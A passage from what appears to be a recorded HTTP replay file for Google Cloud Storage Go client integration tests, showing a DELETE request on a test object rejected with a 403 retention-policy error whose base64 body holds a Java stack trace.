c2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDT3VwOS9MeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6InlaUmxxZz09IiwiZXRhZyI6IkNPdXA5L0x4L2VFQ0VBRT0iLCJyZXRlbnRpb25FeHBpcmF0aW9uVGltZSI6IjIwMTktMDUtMDNUMjM6MjU6NTkuOTUyWiJ9" - } - }, - { - "ID": "8f2ac73db961f1d6", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0016/o/some-object?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "13884" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:00 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:00 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uok63dRFSkGv0Fum7yPhHf_AtYTWceX5_zkck648-jhWkyym1ezg2Og-LqKJ6nnZCW_gPZuU01OkZErKAQbL7mvQroCq8nEtNTEAosMxk9fJRKpYlc" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJPYmplY3QgJ2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNi9zb21lLW9iamVjdCcgaXMgc3ViamVjdCB0byBidWNrZXQncyByZXRlbnRpb24gcG9saWN5IGFuZCBjYW5ub3QgYmUgZGVsZXRlZCwgb3ZlcndyaXR0ZW4gb3IgYXJjaGl2ZWQgdW50aWwgMjAxOS0wNS0wM1QxNjoyNTo1OS45NTIyMDg0MjgtMDc6MDAiLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6UkVURU5USU9OX1BPTElDWV9OT1RfTUVUOiBPYmplY3QgJ2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNi9zb21lLW9iamVjdCcgaXMgc3ViamVjdCB0byBidWNrZXQncyByZXRlbnRpb24gcG9saWN5IGFuZCBjYW5ub3QgYmUgZGVsZXRlZCwgb3ZlcndyaXR0ZW4gb3IgYXJjaGl2ZWQgdW50aWwgMjAxOS0wNS0wM1QxNjoyNTo1OS45NTIyMDg0MjgtMDc6MDBcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YTo4OClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuZGVsZXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IE9iamVjdCAnZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE2L3NvbWUtb2JqZWN0JyBpcyBzdWJqZWN0IHRvIGJ1Y2tldCdzIHJldGVudGlvbiBwb2xpY3kgYW5kIGNhbm5vdCBiZSBkZWxldGVkLCBvdmVyd3JpdHRlbiBvciBhcmNoaXZlZCB1bnRpbCAyMDE5LTA1LTAzVDE2OjI1OjU5Ljk1MjIwODQyOC0wNzowMFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1GT1JCSURERU4sIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6UkVURU5USU9OX1BPTElDWV9OT1RfTUVUOiBPYmplY3QgJ2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNi9zb21lLW9iamVjdCcgaXMgc3ViamVjdCB0byBidWNrZXQncyByZXRlbnRpb24gcG9saWN5IGFuZCBjYW5ub3QgYmUgZGVsZXRlZCwgb3ZlcndyaXR0ZW4gb3IgYXJjaGl2ZWQgdW50aWwgMjAxOS0wNS0wM1QxNjoyNTo1OS45NTIyMDg0MjgtMDc6MDBcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YTo4OClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuZGVsZXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IE9iamVjdCAnZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE2L3NvbWUtb2JqZWN0JyBpcyBzdWJqZWN0IHRvIGJ1Y2tldCdzIHJldGVudGlvbiBwb2xpY3kgYW5kIGNhbm5vdCBiZSBkZWxldGVkLCBvdmVyd3JpdHRlbiBvciBhcmNoaXZlZCB1bnRpbCAyMDE5LTA1LTAzVDE2OjI1OjU5Ljk1MjIwODQyOC0wNzowMFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1mb3JiaWRkZW4sIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLkZPUkJJRERFTiwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlJFVEVOVElPTl9QT0xJQ1lfTk9UX01FVDogT2JqZWN0ICdnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYvc29tZS1vYmplY3QnIGlzIHN1YmplY3QgdG8gYnVja2V0J3MgcmV0ZW50aW9uIHBvbGljeSBhbmQgY2Fubm90IGJlIGRlbGV0ZWQsIG92ZXJ3cml0dGVuIG9yIGFyY2hpdmVkIHVudGlsIDIwMTktMDUtMDNUMTY6MjU6NTkuOTUyMjA4NDI4LTA3OjAwXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6ODgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmRlbGV0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBPYmplY3QgJ2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNi9zb21lLW9iamVjdCcgaXMgc3ViamVjdCB0byBidWNrZXQncyByZXRlbnRpb24gcG9saWN5IGFuZCBjYW5ub3QgYmUgZGVsZXRlZCwgb3ZlcndyaXR0ZW4gb3IgYXJjaGl2ZWQgdW50aWwgMjAxOS0wNS0wM1QxNjoyNTo1OS45NTIyMDg0MjgtMDc6MDBcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBlcnJvclByb3RvQ29kZT1GT1JCSURERU4sIGVycm9yUHJvdG9Eb21haW49Z2RhdGEuQ29yZUVycm9yRG9tYWluLCBmaWx0ZXJlZE1lc3NhZ2U9bnVsbCwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1PYmplY3QgJ2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNi9zb21lLW9iamVjdCcgaXMgc3ViamVjdCB0byBidWNrZXQncyByZXRlbnRpb24gcG9saWN5IGFuZCBjYW5ub3QgYmUgZGVsZXRlZCwgb3ZlcndyaXR0ZW4gb3IgYXJjaGl2ZWQgdW50aWwgMjAxOS0wNS0wM1QxNjoyNTo1OS45NTIyMDg0MjgtMDc6MDAsIHVubmFtZWRBcmd1bWVudHM9W119LCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPU9iamVjdCAnZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE2L3NvbWUtb2JqZWN0JyBpcyBzdWJqZWN0IHRvIGJ1Y2tldCdzIHJldGVudGlvbiBwb2xpY3kgYW5kIGNhbm5vdCBiZSBkZWxldGVkLCBvdmVyd3JpdHRlbiBvciBhcmNoaXZlZCB1bnRpbCAyMDE5LTA1LTAzVDE2OjI1OjU5Ljk1MjIwODQyOC0wNzowMCwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IE9iamVjdCAnZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE2L3NvbWUtb2JqZWN0JyBpcyBzdWJqZWN0IHRvIGJ1Y2tldCdzIHJldGVudGlvbiBwb2xpY3kgYW5kIGNhbm5vdCBiZSBkZWxldGVkLCBvdmVyd3JpdHRlbiBvciBhcmNoaXZlZCB1bnRpbCAyMDE5LTA1LTAzVDE2OjI1OjU5Ljk1MjIwODQyOC0wNzowMDogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlJFVEVOVElPTl9QT0xJQ1lfTk9UX01FVDogT2JqZWN0ICdnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYvc29tZS1vYmplY3QnIGlzIHN1YmplY3QgdG8gYnVja2V0J3MgcmV0ZW50aW9uIHBvbGljeSBhbmQgY2Fubm90IGJlIGRlbGV0ZWQsIG92ZXJ3cml0dGVuIG9yIGFyY2hpdmVkIHVudGlsIDIwMTktMDUtMDNUMTY6MjU6NTkuOTUyMjA4NDI4LTA3OjAwXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6ODgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmRlbGV0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9y